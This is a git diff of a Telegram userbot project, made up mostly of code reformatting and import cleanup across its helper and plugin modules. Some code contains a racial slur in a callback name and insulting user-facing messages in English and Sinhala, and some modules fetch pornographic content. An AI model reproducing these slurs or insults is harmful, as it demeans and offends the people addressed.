fridaybot/modules/password_manager.py | 38 +- fridaybot/modules/ping.py | 15 +- fridaybot/modules/pmpermit.py | 13 +- fridaybot/modules/porn.py | 95 +-- fridaybot/modules/prankpromote.py | 18 +- fridaybot/modules/privatewelcome.py | 3 +- fridaybot/modules/qbot.py | 53 +- fridaybot/modules/rapidleech.py | 84 ++- fridaybot/modules/reminder.py | 18 +- fridaybot/modules/remove.bg.py | 4 +- fridaybot/modules/reveal.py | 3 +- fridaybot/modules/screenshot.py | 3 +- fridaybot/modules/seotools.py | 34 +- fridaybot/modules/sizeresize.py | 59 +- fridaybot/modules/songs.py | 134 ++-- fridaybot/modules/spam.py | 6 +- fridaybot/modules/sql_helper/floodsql.py | 2 - .../modules/sql_helper/gban_sql_helper.py | 1 - fridaybot/modules/sql_helper/welcomesql.py | 3 +- fridaybot/modules/ssvideo.py | 31 +- fridaybot/modules/sticker_2.py | 11 +- fridaybot/modules/sticklet.py | 22 +- fridaybot/modules/study.py | 1 + fridaybot/modules/superheroes.py | 33 +- fridaybot/modules/superstar.py | 9 +- fridaybot/modules/tag.py | 8 +- fridaybot/modules/terminal.py | 50 +- fridaybot/modules/tiktok.py | 107 ++- fridaybot/modules/toonify.py | 55 +- fridaybot/modules/torrentsearch.py | 4 +- fridaybot/modules/torrentz.py | 69 +- fridaybot/modules/trolls.py | 18 +- fridaybot/modules/tweet.py | 146 ++-- fridaybot/modules/utube.py | 70 +- fridaybot/modules/vsong.py | 170 ++--- fridaybot/modules/wallpapers.py | 2 +- fridaybot/modules/warns.py | 4 +- fridaybot/modules/webtools.py | 13 +- fridaybot/modules/webupload.py | 9 +- fridaybot/modules/whois.py | 7 +- fridaybot/modules/xtools.py | 10 +- fridaybot/tweet.py | 11 +- fridaybot/utils.py | 2 +- heroku_config.py | 1 - 120 files changed, 3023 insertions(+), 2547 deletions(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 9d81e3a3..ee170275 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -136,11 +136,11 @@ class Config(object): MONGO_URI = os.environ.get("MONGO_URI", None) # Lydia API LYDIA_API = os.environ.get("LYDIA_API", None) - + PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) SUB_TO_MSG_ASSISTANT = os.environ.get("SUB_TO_MSG_ASSISTANT", False) - NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) + NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 89b85006..c38405c1 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -8,8 +8,8 @@ import pylast import wget -from nospamplus.connect import Connect from dotenv import load_dotenv +from nospamplus.connect import Connect from pylast import LastFMNetwork, md5 from pySmartDL import SmartDL from requests import get diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index f68dbb5f..c5a5cce8 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,9 +1,25 @@ +import asyncio +import json +import math +import os +import re +import shlex +import subprocess +import time +import webbrowser +from os.path import basename +from typing import List, Optional, Tuple + +import hachoir import requests +import telethon from bs4 import BeautifulSoup +from bs4 import BeautifulSoup as bs from hachoir.metadata import extractMetadata from hachoir.parser import createParser -import hachoir -from telethon.tl.types import DocumentAttributeAudio +from pymediainfo import MediaInfo +from telethon import Button, custom, events, functions +from telethon.tl.types import DocumentAttributeAudio, MessageMediaPhoto from youtube_dl import YoutubeDL from youtube_dl.utils import ( ContentTooShortError, @@ -15,31 +31,12 @@ UnavailableVideoError, XAttrMetadataError, ) -import asyncio -import json -import math -import os -import re -import shlex -import subprocess -import time -from os.path import basename -from typing import List, Optional, Tuple -import webbrowser -from bs4 import BeautifulSoup -import requests -from bs4 import BeautifulSoup as bs -import re - -import telethon -from telethon import Button, custom, events, functions -from pymediainfo import MediaInfo -from telethon.tl.types import MessageMediaPhoto BASE_URL = "https://isubtitles.org" -from fridaybot.Configs import Config -import zipfile import os +import zipfile + +from fridaybot.Configs import Config sedpath = Config.TMP_DOWNLOAD_DIRECTORY from fridaybot import logging @@ -65,7 +62,6 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) - async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -116,11 +112,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -130,14 +126,14 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker - or lmao.media + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -219,7 +215,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -319,8 +315,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -342,43 +338,51 @@ async def get_subtitles(imdb_id, borg, event): # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): - await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') + await event.edit( + "`Searching, For Apk File. This May Take Time Depending On Your App Size`" + ) res = requests.get(f"https://m.apkpure.com/search?q={app_name}") - soup = BeautifulSoup(res.text, 'html.parser') - result = soup.select('.dd') + soup = BeautifulSoup(res.text, "html.parser") + result = soup.select(".dd") for link in result[:1]: - s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) - sfn = BeautifulSoup(s_for_name.text, 'html.parser') - ttl = sfn.select_one('title').text - noneed = [' - APK Download'] + s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) + sfn = BeautifulSoup(s_for_name.text, "html.parser") + ttl = sfn.select_one("title").text + noneed = [" - APK Download"] for i in noneed: - name = ttl.replace(i, '') - res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") - soup2 = BeautifulSoup(res2.text, 'html.parser') - result = soup2.select('.ga') + name = ttl.replace(i, "") + res2 = requests.get( + "https://m.apkpure.com" + link.get("href") + "/download?from=details" + ) + soup2 = BeautifulSoup(res2.text, "html.parser") + result = soup2.select(".ga") for link in result: - dl_link = link.get('href') + dl_link = link.get("href") r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: + with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: f.write(r.content) - await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}@VirtualUserbot.apk' + await event.edit("`Apk, Downloaded. Let me Upload It here.`") + final_path = f"{path}/{name}@VirtualUserbot.apk" return final_path, name + async def check_if_subbed(channel_id, event, bot): try: - result = await bot( - functions.channels.GetParticipantRequest( - channel=channel_id, user_id=event.sender_id - ) + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id ) - if result.participant: - return True + ) + if result.participant: + return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False - + + async def _ytdl(url, is_it, event, tgbot): - await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") + await event.edit( + "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) if is_it: opts = { "format": "bestaudio", @@ -435,13 +439,18 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp3", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" + d, + t, + event, + c_time, + "**Uploading Audio To TG**", + f"{ytdl_data['title']}.mp3", ) ), ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", ) os.remove(f"{ytdl_data['id']}.mp3") elif video: @@ -454,12 +463,16 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp4", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" + d, + t, + event, + c_time, + "**Uploading Video To TG**", + f"{ytdl_data['title']}.mp4", ) ), ) await event.edit( - file=hmmo, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") diff --git a/fridaybot/modules/Spam2.py b/fridaybot/modules/Spam2.py index 8aa868c7..96975eba 100644 --- a/fridaybot/modules/Spam2.py +++ b/fridaybot/modules/Spam2.py @@ -1,4 +1,3 @@ - # Written to VirtualUserbot by Inuka Asith @@ -9,10 +8,11 @@ from telethon import functions, types from telethon.tl.functions.messages import ImportChatInviteRequest as Get -from fridaybot import CMD_HELP -from fridaybot import BOTLOG, BOTLOG_CHATID -from ..utils import edit_or_reply, sudo_cmd +from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP + from ..utils import admin_cmd as lightning_cmd +from ..utils import edit_or_reply, sudo_cmd + @bot.on(lightning_cmd(pattern="tspam (.*)")) @bot.on(sudo_cmd(pattern="tspam (.*)", allow_sudo=True)) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index eceefa21..ad60b8c1 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,6 +1,8 @@ -from fridaybot import CMD_LIST,ALIVE_NAME, lang +from fridaybot import ALIVE_NAME, CMD_LIST, lang + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" - + + @command(pattern="^.help ?(.*)") async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 5e9ef719..f31929e5 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -2,17 +2,18 @@ import re import urllib from math import ceil -from youtube_search import YoutubeSearch from re import findall -from search_engine_parser import GoogleSearch -from fridaybot.function import _ytdl from urllib.parse import quote + import requests +from pornhub_api import PornhubApi +from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from youtubesearchpython import VideosSearch + from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang +from fridaybot.function import _ytdl from fridaybot.modules import inlinestats -from pornhub_api import PornhubApi + PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" @@ -22,6 +23,7 @@ DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" if lang == "si": + @tgbot.on(events.InlineQuery) async def inline_handler(event): builder = event.builder @@ -65,7 +67,6 @@ async def inline_handler(event): ) await event.answer([result]) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"helpme_next\((.+?)\)") @@ -81,7 +82,6 @@ async def on_plug_in_callback_query_handler(event): reply_popp_up_alert = "ඔය මොකද කරන්නෙ, මේක ඔයාගෙ නෙමේ!" await event.answer(reply_popp_up_alert, cache_time=0, alert=True) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"helpme_prev\((.+?)\)") @@ -99,7 +99,6 @@ async def on_plug_in_callback_query_handler(event): reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"us_plugin_(.*)") @@ -112,7 +111,9 @@ async def on_plug_in_callback_query_handler(event): return plugin_name = event.data_match.group(1).decode("UTF-8") if plugin_name in CMD_HELP: - help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + help_string = ( + f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + ) reply_pop_up_alert = help_string reply_pop_up_alert += "\n\n**(C) @VirtualUserbot ** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: @@ -133,7 +134,6 @@ async def on_plug_in_callback_query_handler(event): buttons=[[custom.Button.inline("Go Back", data="backme")]], ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) async def rip(event): if event.query.user_id == bot.uid: @@ -143,8 +143,6 @@ async def rip(event): txt = "You Can't View My Masters Stats" await event.answer(txt, alert=True) - - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) async def rip(event): yt_dl_data = event.data_match.group(1).decode("UTF-8") @@ -154,8 +152,8 @@ async def rip(event): await event.answer(text, alert=True) return is_it = True - ok = await _ytdl(link_s, is_it, event, tgbot) - + await _ytdl(link_s, is_it, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): yt_dl_data = event.data_match.group(1).decode("UTF-8") @@ -165,9 +163,8 @@ async def rip(event): await event.answer(text, alert=True) return is_it = False - ok = await _ytdl(link_s, is_it, event, tgbot) - - + await _ytdl(link_s, is_it, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) async def rip(event): link_s = event.pattern_match.group(1) @@ -175,9 +172,7 @@ async def rip(event): text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." await event.answer(text, alert=True) return - ok = await _phdl(link_s, event, tgbot) - - + await _phdl(link_s, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) async def rip(event): @@ -196,7 +191,6 @@ async def rip(event): f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) async def sed(event): if event.query.user_id != bot.uid: @@ -210,7 +204,6 @@ async def sed(event): For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - Sinhala (Sinhalese)""" await event.edit(message=sed, buttons=buttons) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) async def rip(event): if event.query.user_id == bot.uid: @@ -228,7 +221,6 @@ async def rip(event): buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): if event.query.user_id == bot.uid: @@ -254,7 +246,6 @@ async def on_plug_in_callback_query_handler(event): reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - def paginate_help(page_number, loaded_modules, prefix): number_of_rows = 8 number_of_cols = 2 @@ -290,7 +281,9 @@ def paginate_help(page_number, loaded_modules, prefix): ] return pairs + else: + @tgbot.on(events.InlineQuery) async def inline_handler(event): builder = event.builder @@ -312,7 +305,11 @@ async def inline_handler(event): text=f"**Showing Stats For {DEFAULTUSER}'s VirualUserbot** \nNote --> Only Owner Can Check This \n(C) @VirtualUserbot", buttons=[ [custom.Button.inline("Show Stats ?", data="terminator")], - [Button.url("Repo Here", "https://github.com/inukaasith/virtualuserbot")], + [ + Button.url( + "Repo Here", "https://github.com/inukaasith/virtualuserbot" + ) + ], [Button.url("Join Channel ❤️", "t.me/infinity_bots")], ], ) @@ -334,7 +331,6 @@ async def inline_handler(event): ) await event.answer([result]) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"helpme_next\((.+?)\)") @@ -350,7 +346,6 @@ async def on_plug_in_callback_query_handler(event): reply_popp_up_alert = "Please get your own Userbot, and don't use mine!" await event.answer(reply_popp_up_alert, cache_time=0, alert=True) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"helpme_prev\((.+?)\)") @@ -368,7 +363,6 @@ async def on_plug_in_callback_query_handler(event): reply_pop_up_alert = "Please get your own Userbot, and don't use mine!" await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - @tgbot.on( events.callbackquery.CallbackQuery( # pylint:disable=E0602 data=re.compile(b"us_plugin_(.*)") @@ -381,7 +375,9 @@ async def on_plug_in_callback_query_handler(event): return plugin_name = event.data_match.group(1).decode("UTF-8") if plugin_name in CMD_HELP: - help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + help_string = ( + f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + ) reply_pop_up_alert = help_string reply_pop_up_alert += "\n\n**(C) @VirtualUserbot** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: @@ -402,7 +398,6 @@ async def on_plug_in_callback_query_handler(event): buttons=[[custom.Button.inline("Go Back", data="backme")]], ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) async def rip(event): if event.query.user_id == bot.uid: @@ -421,7 +416,7 @@ async def rip(event): await event.answer(text, alert=True) return is_it = True - ok = await _ytdl(link_s, is_it, event, tgbot) + await _ytdl(link_s, is_it, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) async def rip(event): @@ -432,11 +427,8 @@ async def rip(event): await event.answer(text, alert=True) return is_it = False - ok = await _ytdl(link_s, is_it, event, tgbot) + await _ytdl(link_s, is_it, event, tgbot) - - - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) async def rip(event): link_s = event.pattern_match.group(1) @@ -444,7 +436,7 @@ async def rip(event): text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." await event.answer(text, alert=True) return - ok = await _phdl(link_s, event, tgbot) + await _phdl(link_s, event, tgbot) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) async def rip(event): @@ -463,7 +455,6 @@ async def rip(event): f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked.", ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) async def sed(event): if event.query.user_id != bot.uid: @@ -477,7 +468,6 @@ async def sed(event): For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - English (Standard)""" await event.edit(message=sed, buttons=buttons) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) async def rip(event): if event.query.user_id == bot.uid: @@ -495,7 +485,6 @@ async def rip(event): buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], ) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): if event.query.user_id == bot.uid: @@ -520,7 +509,6 @@ async def on_plug_in_callback_query_handler(event): else: reply_pop_up_alert = "WTF are you Doing.. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - def paginate_help(page_number, loaded_modules, prefix): number_of_rows = 8 @@ -556,11 +544,7 @@ def paginate_help(page_number, loaded_modules, prefix): ) ] return pairs - - - - - + @tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): @@ -643,7 +627,6 @@ async def inline_id_handler(event: events.InlineQuery.Event): await event.answer(results) - @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -687,8 +670,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) - - + @tgbot.on(events.InlineQuery(pattern=r"google (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -708,11 +690,10 @@ async def inline_id_handler(event: events.InlineQuery.Event): match = match.replace("page=" + page[0], "") except IndexError: page = 1 - + search_args = (str(match), int(page)) gsearch = GoogleSearch() gresults = await gsearch.async_search(*search_args) - msg = "" for i in range(len(gresults["links"])): try: title = gresults["titles"][i] @@ -734,7 +715,8 @@ async def inline_id_handler(event: events.InlineQuery.Event): except IndexError: break await event.answer(results) - + + @tgbot.on(events.InlineQuery(pattern=r"ph (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -748,16 +730,12 @@ async def inline_id_handler(event: events.InlineQuery.Event): results = [] input_str = event.pattern_match.group(1) api = PornhubApi() - data = api.search.search( - input_str, - ordering="mostviewed" - ) + data = api.search.search(input_str, ordering="mostviewed") ok = 1 - oik = "" for vid in data.videos: - if ok <= 5: - lul_m = (f"**PORN-HUB SEARCH** \n**Video title :** `{vid.title}` \n**Video link :** `https://www.pornhub.com/view_video.php?viewkey={vid.video_id}`") - results.append( + if ok <= 5: + lul_m = f"**PORN-HUB SEARCH** \n**Video title :** `{vid.title}` \n**Video link :** `https://www.pornhub.com/view_video.php?viewkey={vid.video_id}`" + results.append( await event.builder.article( title=vid.title, text=lul_m, @@ -768,10 +746,11 @@ async def inline_id_handler(event: events.InlineQuery.Event): ], ) ) - else: - pass + else: + pass await event.answer(results) - + + @tgbot.on(events.InlineQuery(pattern=r"xkcd (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -782,7 +761,6 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer([resultm]) return - results = [] input_str = event.pattern_match.group(1) xkcd_id = None if input_str: @@ -819,14 +797,8 @@ async def inline_id_handler(event: events.InlineQuery.Event): Year: {}""".format( xkcd_link, safe_title, alt, day, month, year ) - lul_k = builder.photo( - file=img, - text=output_str - ) + lul_k = builder.photo(file=img, text=output_str) await event.answer([lul_k]) else: - resultm = builder.article( - title="- No Results :/ -", - text=f"No Results Found !" - ) + resultm = builder.article(title="- No Results :/ -", text=f"No Results Found !") await event.answer([resultm]) diff --git a/fridaybot/modules/addnote.py b/fridaybot/modules/addnote.py index 4adee62f..ec9e1530 100644 --- a/fridaybot/modules/addnote.py +++ b/fridaybot/modules/addnote.py @@ -1,7 +1,5 @@ from telethon import events -import asyncio -import os -import sys + @borg.on(events.NewMessage(pattern=r"^.addnote (.*)", outgoing=True)) async def test(event): diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index eda64efc..784ff3e6 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -32,7 +32,7 @@ ) from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler, sudo_cmd +from fridaybot.utils import admin_cmd, errors_handler # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" diff --git a/fridaybot/modules/adultzone.py b/fridaybot/modules/adultzone.py index ddffde7e..26e70df1 100644 --- a/fridaybot/modules/adultzone.py +++ b/fridaybot/modules/adultzone.py @@ -1,9 +1,15 @@ -#credits to userge -#ported to Hellbot by @kraken_the_badass -#will be adding more soon +# credits to userge +# ported to Hellbot by @kraken_the_badass +# will be adding more soon + +import asyncio +import os +import urllib + +import requests + +from ..utils import admin_cmd, sudo_cmd -import os, urllib, requests, asyncio -from ..utils import admin_cmd,edit_or_reply, sudo_cmd @bot.on(admin_cmd("boobs$")) @bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) @@ -14,13 +20,14 @@ async def boobs(event): a = await event.reply("Finding some big boobs for u 🧐") await asyncio.sleep(0.5) await a.edit("Sending some big boobs🤪") - nsfw = requests.get('http://api.oboobs.ru/noise/1').json()[0]["preview"] + nsfw = requests.get("http://api.oboobs.ru/noise/1").json()[0]["preview"] urllib.request.urlretrieve("http://media.oboobs.ru/{}".format(nsfw), pic_loc) await event.client.send_file(event.chat_id, pic_loc, force_document=False) os.remove(pic_loc) await event.delete() await a.delete() + @bot.on(admin_cmd("butts$")) @bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) async def butts(event): @@ -30,7 +37,7 @@ async def butts(event): a = await event.reply("Finding some beautiful butts for u🧐") await asyncio.sleep(0.5) await a.edit("Sending some beautiful butts🤪") - nsfw = requests.get('http://api.obutts.ru/noise/1').json()[0]["preview"] + nsfw = requests.get("http://api.obutts.ru/noise/1").json()[0]["preview"] urllib.request.urlretrieve("http://media.obutts.ru/{}".format(nsfw), pic_loc) await event.client.send_file(event.chat_id, pic_loc, force_document=False) os.remove(pic_loc) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index c001358a..22845a20 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -42,7 +42,9 @@ async def _(event): reason = event.pattern_match.group(1) if not USER_AFK: # pylint:disable=E0602 last_seen_status = await borg( # pylint:disable=E0602 - functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) + functions.account.GetPrivacyRequest( + types.InputPrivacyKeyStatusTimestamp() + ) ) if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): afk_time = datetime.datetime.now() # pylint:disable=E0602 @@ -53,7 +55,9 @@ async def _(event): f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", ) else: - await borg.send_message(event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**.") + await borg.send_message( + event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**." + ) await asyncio.sleep(5) await event.delete() try: @@ -64,7 +68,6 @@ async def _(event): except Exception as e: # pylint:disable=C0103,W0703 logger.warn(str(e)) # pylint:disable=E0602 - @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 async def set_not_afk(event): global USER_AFK # pylint:disable=E0602 @@ -103,7 +106,6 @@ async def set_not_afk(event): USER_AFK = {} # pylint:disable=E0602 afk_time = None # pylint:disable=E0602 - @friday.on( events.NewMessage( # pylint:disable=E0602 incoming=True, func=lambda e: bool(e.mentioned or e.is_private) @@ -169,9 +171,8 @@ async def on_afk(event): await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 last_afk_message[event.chat_id] = msg # pylint:disable=E0602 -else: - +else: @friday.on( events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) @@ -194,7 +195,9 @@ async def _(event): reason = event.pattern_match.group(1) if not USER_AFK: # pylint:disable=E0602 last_seen_status = await borg( # pylint:disable=E0602 - functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) + functions.account.GetPrivacyRequest( + types.InputPrivacyKeyStatusTimestamp() + ) ) if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): afk_time = datetime.datetime.now() # pylint:disable=E0602 @@ -205,7 +208,9 @@ async def _(event): f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`", ) else: - await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.") + await borg.send_message( + event.chat_id, f"**I Am Busy And I Am Going Afk**." + ) await asyncio.sleep(5) await event.delete() try: @@ -216,7 +221,6 @@ async def _(event): except Exception as e: # pylint:disable=C0103,W0703 logger.warn(str(e)) # pylint:disable=E0602 - @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 async def set_not_afk(event): global USER_AFK # pylint:disable=E0602 @@ -255,7 +259,6 @@ async def set_not_afk(event): USER_AFK = {} # pylint:disable=E0602 afk_time = None # pylint:disable=E0602 - @friday.on( events.NewMessage( # pylint:disable=E0602 incoming=True, func=lambda e: bool(e.mentioned or e.is_private) @@ -322,7 +325,6 @@ async def on_afk(event): last_afk_message[event.chat_id] = msg # pylint:disable=E0602 - CMD_HELP.update( { "afk": ".afk \ diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 226d21de..db12135c 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -57,6 +57,7 @@ def get_readable_time(seconds: int) -> str: pm_caption += "➣ **Contact Dev** [Dev](https://t.me/InukaASiTH)\n" pm_caption += "➣ **Contact Mod** [Mod](https://t.me/Zzlll_lllzZ)\n" + @friday.on(friday_on_cmd(pattern=r"alive")) @friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) async def friday(alive): diff --git a/fridaybot/modules/allban.py b/fridaybot/modules/allban.py index ef55e980..74a8eda7 100644 --- a/fridaybot/modules/allban.py +++ b/fridaybot/modules/allban.py @@ -1,12 +1,15 @@ -#originally created by @danish_00 +# originally created by 